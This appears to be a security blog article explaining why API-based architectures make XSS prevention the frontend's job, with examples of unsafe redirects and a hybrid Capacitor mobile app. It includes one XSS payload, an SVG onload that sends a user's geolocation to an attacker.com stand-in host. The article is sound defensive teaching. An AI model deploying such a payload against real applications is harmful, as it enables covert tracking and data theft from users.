APIs make XSS prevention a frontend job
Having multiple frontend applications communicating with a common backend via APIs is now a typical web development pattern. But who is responsible for checking for malicious user inputs when sending requests to APIs? As it turns out, failure to sanitize data on the frontend can allow for cross-site scripting attacks through APIs.
Your Information will be kept private.
Your Information will be kept private.
Heavy reliance on web APIs as the main means of data exchange in web and mobile applications has major security implications for preventing injection attacks such as cross-site scripting (XSS). With shifting architectural boundaries and responsibilities, it’s all too easy to assume that the chore of sanitizing user inputs is handled somewhere else – hopefully on the server. Let’s see how this can leave applications vulnerable to XSS via API calls.
Before there were APIs, there was server-side
The modern web has shifted from single monolithic web applications to more sophisticated, multi-layered systems with a clear separation of front and backend. In the days of mainly static websites, a web application was sufficiently interactive when it had forms that allowed the backend to process dynamic input submitted by the user. Needless to say, perceptions and expectations of what makes a website dynamic have changed drastically since then.
Applications generated purely on the server side could not deliver what is expected today, like web pages with smooth animations, dynamic input with instant responses, and convenient features such as auto-complete in search bars or opening preloaded pages in the blink of an eye. Because they lacked a clear separation of front and backend, they were also prone to issues if multiple people worked on different parts of the application simultaneously and generally inhibited efficient development workflows.
On the other hand, having all the processing on the server side limited the overall attack surface, especially for cross-site scripting (XSS). The user’s browser only displayed whatever it got from the server and submitted whatever the user put in, so you could (at least in theory) perform all input validation and sanitization on the server to centralize your XSS protection. But the pressure was on to make web applications more responsive and interactive, requiring more processing on the client side – meaning that the browser would have to generate and execute a lot of code independently of the server.
Client-side applications, client-side XSS
Cue single-page applications (SPAs) and the frameworks required to build them, such as React and Vue. By design, SPAs are standalone applications that run in the browser with no inherent need for any server-side processing – you can serve them like any static web page. They communicate with the backend via its application programming interface (API), which has quite a few advantages compared to the old approach.
For example, you can independently develop front and backend code without waiting for the other team to finish. You just have to agree in the design phase on the type and structure of data you want to send or receive and can then test and develop front and backend components independently. This is extremely convenient and efficient but comes with a major caveat related to security. The burden of sanitizing input to prevent cross-site scripting attacks no longer lies on the backend developers – it is now the frontend team that needs to do it.
In general, when you send data to the client in modern APIs, there is no need to sanitize it against cross-site scripting on the backend. The data is usually JSON-encoded and served with a Content-Type of application/json
, which will not allow for the rendering of HTML (at least in properly designed APIs). Additionally, to the best of my knowledge, there is no native JavaScript function in browsers that allows you to decode HTML entities, so even if the backend sent you an entity-encoded string, you couldn’t do anything with it besides displaying on the page directly, unless you resorted to workarounds or third-party solutions.
The designers of frameworks like React noticed this problem, so these frontend frameworks will sanitize output by default. It is thus extremely difficult (though not impossible) to introduce an XSS vulnerability in a React application. We have written about it in a blog post about cross-site scripting in React applications and concluded that you’re pretty safe as long as you don’t try to do anything out of the ordinary.
Too much creativity is bad for security
Inevitably, you will sometimes get cases where you need to solve some specific problem, and either you don’t know the framework well enough to solve it or the built-in way lacks some crucial feature you need – and then you start getting creative. While creativity is a good trait to have, it’s rarely recommended when you want to prevent cross-site scripting vulnerabilities (or any vulnerability, for that matter). One example could be implementing a feature in a way that gives a user control over the properties of a React element. Depending on the specific element and the data types and structures your users are allowed to pass to the application, this can create XSS vulnerabilities even in otherwise secure React applications.
The same goes for redirects. The way redirects work in React is a bit clumsy and heavily dependent on the router you use, down to the specific version. In real life, developers are unlikely to learn every nook and cranny of a library or framework to do redirects in exactly the way that a framework architect specified in a 6-page document (complete with a detailed list of advantages). Especially if they know they’ll have to rewrite it all as soon as the next iteration of the router library is released. So instead, developers might very well decide to use document.location
like everyone else, and I can’t really say I blame them.
There are some issues with that approach, though. First, it comes with some performance penalties since instead of loading a new route, the browser will navigate to a page as usual and reload the entire page. Additionally, and most importantly, framework-level redirects will often restrict navigation to a local route, such as /login, but document.location
does not have that restriction. So you might intend to only ever redirect users to a local page – but you could instead create a way to redirect them to another website or (even worse) an arbitrary javascript:
URL, leading to an XSS vulnerability.
And again, while in the past, preventing malicious redirects would generally be the responsibility of backend developers, the increased use of APIs and client-side applications has firmly shifted that responsibility to the frontend. Or, as OWASP puts it:
JavaScript frameworks, single-page applications, and APIs that dynamically include attacker-controllable data to a page are vulnerable to DOM XSS. Ideally, the application would not send attacker-controllable data to unsafe JavaScript APIs.
More frontends, more XSS opportunities
Another advantage of separating the frontend from the backend and having them communicate via APIs is that frontends are no longer bound to a specific technology or even platform, such as web or mobile. As long as it can talk to your backend API, any application on any platform can use your data and backend functionality.
Say you want to develop a mobile application that is based on your website but easier to use and brings some features that are only available in an app, such as faster navigation, easy access to files on your device, or authentication in the app with a fingerprint scanner. This could be very attractive and increase the adoption of your service. However, if you wrote your web application using the older approach, you would have no easy way to retrieve your data since it would likely be mixed in between random bits of HTML and scattered across files.
Having a backend API enables you to reap the benefits of the separated front and backend development, regardless of the frontend technology – but there is a security catch. As mentioned before, with the old approach of a single monolithic application, you could simply prevent XSS in a central place on the backend and be done with it. Now, sanitization has to happen individually for each frontend application. What’s more, the impact of a successfully exploited vulnerability will vary depending on the frontend technology and the functionality exposed by an API.
Tracking mobile users through XSS
Let’s look at a specific example of XSS in a hybrid mobile application and see the potential impact, including remote code execution (RCE) in the worst case. While RCE on a mobile device may not be quite as bad as on a computer (due to sandboxing and low app privileges), it might still allow for the theft of personal data, such as credentials and local files, and maybe even other actions, depending on the app permissions and what functionality is exposed.
There is a great blog post that explains one of these issues, illustrating it with a sample Android application written in JavaScript using the Capacitor framework. Among other things, Capacitor allows you to run a modern web application on Android using WebViews to display pages. You can think of a WebView as an iframe but mobile apps – not a full-fledged embedded browser but still a way to embed web pages into a mobile application.
The neat thing is that you can access some powerful, native, platform-specific APIs through a JavaScript interface. And, apparently, Capacitor automatically exposes some of this native functionality through a Capacitor.Plugins
object accessible to JavaScript code within a WebView.
So let’s imagine there is a WebView showing user-created cake recipes, and each recipe can be fetched via an API. Very convenient, but let’s say the recipe title is being set in an insecure way, such as the use of innerHTML
, resulting in a cross-site scripting vulnerability. A malicious user now decides to give their recipe the following title:
<svg onload="Capacitor.Plugins.Geolocation.getCurrentPosition().then(position => {fetch('https://attacker.com/?position='+position)})" />
And while that title does not sound particularly appetizing, it does allow an attacker to execute code in the context of the WebView due to the injected HTML and JavaScript code. Whenever it runs, for example when displayed in another user’s feed, it will get that user’s current position and send it to an attacker-controlled server. Impact-wise, it can hardly get any worse than that.
The title was correctly fetched by an API as provided by the application server, so the vulnerability was caused purely by that specific frontend application. In other circumstances, the fact that a raw, unencoded string was provided via the JSON API might not be a security issue. If the same web application was written as a single page application and it fetched the provided string via the same API but using a more secure frontend implementation or secure encoding defaults, it may not have had this vulnerability.
Distributed apps require distributed input sanitization
The takeaway is that there are lots of good reasons to send data via an API and fetch it on the client side. This ability is what has enabled API-driven rapid development on web and mobile platforms. But on the security side, developers need to be acutely aware that this methodology shifts the responsibility for preventing XSS from the backend developers to the developers and maintainers of each individual front end application that uses the data from the API – every single one, be it on desktop, mobile, web, or whatever platform comes next. Each platform has different needs and purposes, so frontend security vulnerabilities may lead to all sorts of problems, even as serious as arbitrary code execution or tracking individual users.
You can no longer hope to prevent XSS vulnerabilities in a single line of code on the server and be done with it. Instead, you need to ensure that each individual component and each frontend of your modern application is secure and takes care of sanitizing user inputs as necessary.